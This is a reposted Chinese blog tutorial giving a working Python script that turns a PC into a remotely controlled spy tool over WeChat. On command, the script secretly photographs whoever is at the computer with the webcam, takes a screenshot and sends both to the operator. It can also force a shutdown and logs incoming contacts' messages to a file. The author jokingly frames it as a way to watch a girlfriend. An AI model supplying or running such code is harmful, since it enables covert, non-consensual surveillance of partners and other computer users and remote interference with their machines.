首页 编程教程正文

【笔记】【Python远程监控电脑使用-截图-拍照-关机】

piaodoo 编程教程 2020-02-22 22:07:05 965 0 python教程

本文来源吾爱破解论坛

本帖最后由 荆棘云海 于 2019-8-16 11:31 编辑

先放代码,如下:
[Python] 纯文本查看 复制代码

import itchat
import os
import time
import cv2
from PIL import ImageGrab

sendMsg = u"{消息助手}:暂时无法回复"
usageMsg = u"使用方法:\n回复 cap 获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。\n" \
           u"回复 shutdown  电脑关机 \n"
flag = 0 #消息助手开关
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename,'w')

@itchat.msg_register('Text')
def text_reply(msg):
    global flag
    message  = msg['Text']
    fromName = msg['FromUserName']
    toName = msg['ToUserName']

    if toName == "filehelper":
        if message == "cap": #如果回复cap
            cap = cv2.VideoCapture(0)
            ret, img = cap.read()
            cv2.imwrite("weixinTemp.jpg",img)
            itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper')
            cap.release()
            #电脑屏幕截图
            screen = ImageGrab.grab()
            screen.save('./screenShot.png','png')
            itchat.send('@img@%s'%u'screenShot.png', 'filehelper')
        if message == "shutdown":#如果回复shutdown
            os.system('shutdown -s -t 60')          

    elif flag == 1:
        itchat.send(sendMsg,fromName)
        myfile.write(message)
        myfile.write("\n")
        myfile.flush()

if __name__ == '__main__':
    itchat.auto_login(hotReload=True)
    itchat.send(usageMsg, "filehelper")
    itchat.run()
    



主要利用Python第三方库itchat 库来登录到微信网页端,利用 itchat 来发送消息和接收消息。
并通过调用 opencv 打开电脑摄像头进行拍照,如果这个时候女朋友正在使用电脑嗨学网


回复cap:获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。
回复shutdown:电脑关机,估计会被打,慎用,哈哈哈哈哈

版权声明:

本站所有资源均为站长或网友整理自互联网或站长购买自互联网,站长无法分辨资源版权出自何处,所以不承担任何版权以及其他问题带来的法律责任,如有侵权或者其他问题请联系站长删除!站长QQ754403226 谢谢。

有关影视版权:本站只供百度云网盘资源,版权均属于影片公司所有,请在下载后24小时删除,切勿用于商业用途。本站所有资源信息均从互联网搜索而来,本站不对显示的内容承担责任,如您认为本站页面信息侵犯了您的权益,请附上版权证明邮件告知【754403226@qq.com】,在收到邮件后72小时内删除。本文链接:https://www.piaodoo.com/7582.html

搜索